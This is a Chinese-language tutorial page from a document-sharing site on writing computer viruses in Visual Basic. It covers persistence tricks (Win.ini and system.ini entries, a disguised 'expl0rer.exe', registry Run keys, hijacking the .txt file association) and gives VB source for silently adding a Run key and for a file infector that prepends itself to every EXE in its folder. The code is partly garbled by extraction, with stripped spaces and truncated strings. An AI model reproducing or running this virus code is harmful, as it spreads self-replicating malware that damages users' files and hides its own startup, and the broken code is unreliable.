VB病毒编写的详细教程(两个例子)

2019-08-29 21:31

VB病毒编写的详细教程(2个例子)

说明:本文的两个例子是我收集的最为详细的VB病毒编写教程,文章旨在介绍VB也

能轻松编写计算机病毒程序,很多现成代码可以直接复制粘贴到VB中供测试。请学习后不要用于非法用途,否则后果自负。

例子1:

谈起病毒的编制,大家都认为是很高深的东西。高手用的都是汇编语言,次一点的也是 VC或C++。那么用VB也能编病毒吗?答案是肯定的。只不过由于技术上的限制(比如VB不能对底层硬件进行直接的操作,不能生成独立的可执行文件等等),编出来的程序不可能象汇编或VC编出来的程序那么小巧和功能强大。但是VB编出来的病毒也不可小窥噢!

在谈病毒的编制以前,我们先说说什么是病毒。只有先把概念搞清楚了,才能编出真正的病毒程序。关于病毒的标准解释,我就不说了,我想我也说不清楚,大家可以到一些大的杀毒厂商的网站去看看,那里有比较完整、全面的定义。香水百合就自己的理解来谈谈病毒。病毒最少应该满足以下的二个条件:

一、自启动和自恢复

只要机器染上病毒后,每次启动就会自动加载。如果无意中被你发现并杀掉后,病毒程序会自己通过备份来恢复。自动运行一般是通过以下几种方法来实现的。 1.最简单的方法是通过自动批处理文件Autoexec.bat来加载。

从DOS时代就开始玩电脑的人应该都很熟悉这个文件了。不为别的,就为游戏能够玩的更加流畅,为了从640K基本内存中抠出更多的可用内存,都绞尽脑汁的来修改、配置这个文件。现在到了Windows时代,这个文件基本上已经成了被人遗忘的角落了,不过也不能放过噢!因为被人遗忘,所以才要利用啊!

2.通过Win.ini文件来加载 [windows]

load=expl0rer.exe

run=expl0rer.exe

看到load和run两个字段了,正常的情况应该是空的。但是病毒程序可以通过将这两段写上病毒自身的名字来达到自动运行的目的。而且病毒将自身的名字改为expl0rer.exe,注意了,是0而不是O噢!如果不细看,还以为运行的是资源管理器程序(explorer.exe)呢!

3.通过system.ini文件来加载 [boot]

shell=Explorer.exeserver.exe

正常的情况下,shell后面跟的应该只有Explorer.exe这一个变量。但是很多病毒程序就是通过在后面加上自己的名字来实现自动运行。

4.通过在注册表中加载自动运行键值来实现

[HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run]

[HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce] [HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx] [HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices]

[HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnc e]

[HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run]

[HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce] [HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices]

病毒也可以通过修改注册表的上述键值来实现自我启动,而且比上面三种方法来的更加隐蔽一点(相对普通用户而言)。一些软件就是通过修改上述地方来实现开机自动运行的,比如超级解霸、金山毒霸等等。

5.通过修改注册表中文件关联的键值来实现

修改[HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command]中的下面键值来实现 [默认=\

修改[HKEY_LOCAL_MACHINE\\Software\\CLASSES\\txtfile\\shell\\open\\command]中的下面键值来实现

[默认=\

我们知道,上面的键值是功能是决定TXT文件与什么程序相关联的。系统默认的情况下应该是将TXT文件与Windows的记事本相关联。如果我们将TXT文件与我们的病毒文件相关联的话,那么后果就可想而知了,每当我们打开一个扩展名为TXT的文本文件后,就自动加载了病毒程序。这一招可够狠的。但是有的朋友会说,用户每次启动计算机不一定每次都会打本文本文件啊,这也有可能,但是用户肯定是会调用输入法的,如果我们将病毒文件与输入法相关联的话,那么我想没有人会逃过这一劫吧!这一招才叫毒吧!

当你的机器中了病毒以后,病毒一般先会将自己进行复制。一般是复制到Windows目录或者Windows下的System目录,当然也可以是其它的目录了。有一类木马病毒可以通过配置程序来进行设置,所以说备份的目录不一定是固定的。但是目的只有一个,就是当你发现它,并将它删除以后,病毒可以通过关联的程序来进行自我恢复。这也就是为什么病毒杀了以后,为什么还会有的原因了。

那怎样在VB中实现自启动呢?一般有两种方法,一种是通过在VB中导出一个注册表文件,然后执行它;另外一种是通过调用API函数来实现。大家分别看看下面的两个例子就明白了。

第一种方法:生成一个注册表文件,然后通过SHELL命令执行它,完成后删除这个注册表

文件。

FunctionMakeReg() OnErrorResumeNext

Open\

Print#1,\

Print#1,\\\Run]\

Print#1,\

0.exe\\\ Close1

Shell\ Kill\ EndFunction

从上面的程序,我们可以看出,前面几行是在C盘的根目录生成一个\的注册表文件。关键的地方就在SHELL命令这一行,我们可以看到在执行REGEDIT命令时带了一个\的参数,这个参数就是在执行导入注册表文件时,不会出现\确实要把C:\\V.REG内的信息添加到注册表吗?\的提示信息,实现了后

台执行的效果。不再需要进行人工的干预了!

第二种方法:通过使用API函数来实现,香水百合个人比较偏向于使用这种方法。

PrivateDeclareFunctionRegCreateKey&Lib\ s\

)

PrivateDeclareFunctionRegSetValueLib\t;RegSetValueA\TypeAsLong,ByVallpDataAsstring,ByValcbDataAsLong)AsLong

PrivateDeclareFunctionRegCloseKeyLib\ yAsLong)AsLong

ConstHKEY_LOCAL_MACHINE=&H80000002 ConstREG_SZ=1

PrivateSubForm_Initialize()

DimsKeyNameAsString,sKeyValueAsString,sKeyValueIconAsString DimRetAsInteger,lphKeyAsLong

sKeyName=\ sKeyValue=App.Path&IIf(Len(App.Path)>3,\ .EXEName+\

Ret=RegCreateKey&(HKEY_LOCAL_MACHINE,sKeyName,lphKey)'创建新的启动项 Ret=RegSetValue&(lphKey&,\ '设置键值

Ret=RegCloseKey&(HKEY_LOCAL_MACHINE)'关闭注册表 EndSub

可以看出,程序通过调用RegCreateKey、RegSetValue和RegCloseKey这三个API函数来实现向注册表中写入信息的功能。

关于启动的方法有很多,光我知道的就不下十几种,今天就先大概的介绍一下以上的五种吧!

二、病毒最重要的一个特点应该是能够感染和传播。

如果一个程序只是让你的光驱不停地打开关上,或者只是让你的机器总是死机。那么我想它算不上是一个病毒程序,只能算作具有破坏性的黑客程序罢了。那么病毒是怎样感染可执行文件的呢?其实例子是最好的说明的说明,下面我们就通过一个例子来说明病毒是怎样进行感染和传播的。

OptionExplicit

PrivatevbArrayAsString'定义一些变量和常量 PrivateVictimAsString PrivatehArrayAsString PrivateCheckXAsString PrivateLengthAsLong

ConstMySizeAsInteger=18432'病毒程序编译后的大小(可以根据实际情况来修改 )

PrivateiResultAsLong PrivatehProgAsLong

PrivateidProgAsLong PrivateiExitAsLong

ConstSTILL_ACTIVEAsLong=&H103

ConstPROCESS_ALL_ACCESSAsLong=&H1F0FFF

PrivateDeclareFunctionOpenProcessLib\

edAccessAsLong,ByValbInheritHandleAsLong,ByValdwProcessIdAsLong)A sLong

PrivateDeclareFunctionGetExitCodeProcessLib\ hProcessAsLong,

lpExitCodeAsLong)AsLong

PrivateDeclareFunctionCloseHandleLib\ AsLong)AsLong

PrivateSubForm_Initialize() Me.Left=\ Me.Top=\

Me.Width=Screen.Width Me.Height=Screen.Height

DimIAsLong

DimFF

DimMyPathAsString'存储当前运行文件的路径 DimMyFileAsString'存储当前运行文件的文件名

FF=FreeFile'定义一个空闲的文件号

OnErrorResumeNext'如果发生错误,则跳到程序下一段继续执行

IfRight(App.Path,1)<>\

MyPath=App.Path&\路径名+\ Else

MyPath=App.Path'如果在根目录下则不需要加上\ EndIf

MyFile=App.EXEName&\取得当前运行的EXE文件名

OnErrorGoToErrHandle

OpenMyPath&MyFileForBinaryAccessReadAs#FF

vbArray=Space$(MySize)'根据编译后的文件大小来定义一个缓存 Get#1,1,vbArray'存储文件数据到变量中 Close#FF

Victim=Dir(MyPath&\找到第一个要感染的EXE文件

WhileVictim<>\查找随后的EXE文件,直到没有为止 IfLCase(MyPath&Victim)<>LCase(MyPath&MyFile)Then OpenVictimForBinaryAccessReadAs#FF

hArray=Space(LOF(FF))'根据文件大小重新定义数组的大小

Get#1,1,hArray'复制文件数据到变量中 Close#FF

CheckX=Mid(hArray,Len(hArray))'在被感染文件末尾写入一个标记,作为是否感染病毒的标志。

IfLCase(CheckX)<>\如果标志为\则表示 该文件已经被感染,否则继续

OpenVictimForBinaryAccessWriteAs#FF

Put#FF,1,vbArray'Placeourcodeinthefrontofthefile

Put#FF,MySize,hArray'Followitimmediatleybythevictimscode Put#FF,LOF(FF)+1,\ eninfected

Close#FF'Thatshowthisvirusgotit'sname!

EndIf Else EndIf


VB病毒编写的详细教程(两个例子).doc 将本文的Word文档下载到电脑 下载失败或者文档不完整,请联系客服人员解决!

下一篇:资产评估工作方案(投标)

相关阅读
本类排行
× 注册会员免费下载(下载后可以自由复制和排版)

马上注册会员

注:下载文档有可能“只有目录或者内容不全”等情况,请下载之前注意辨别,如果您已付费且无法下载或内容有问题,请联系我们协助你处理。
微信: QQ: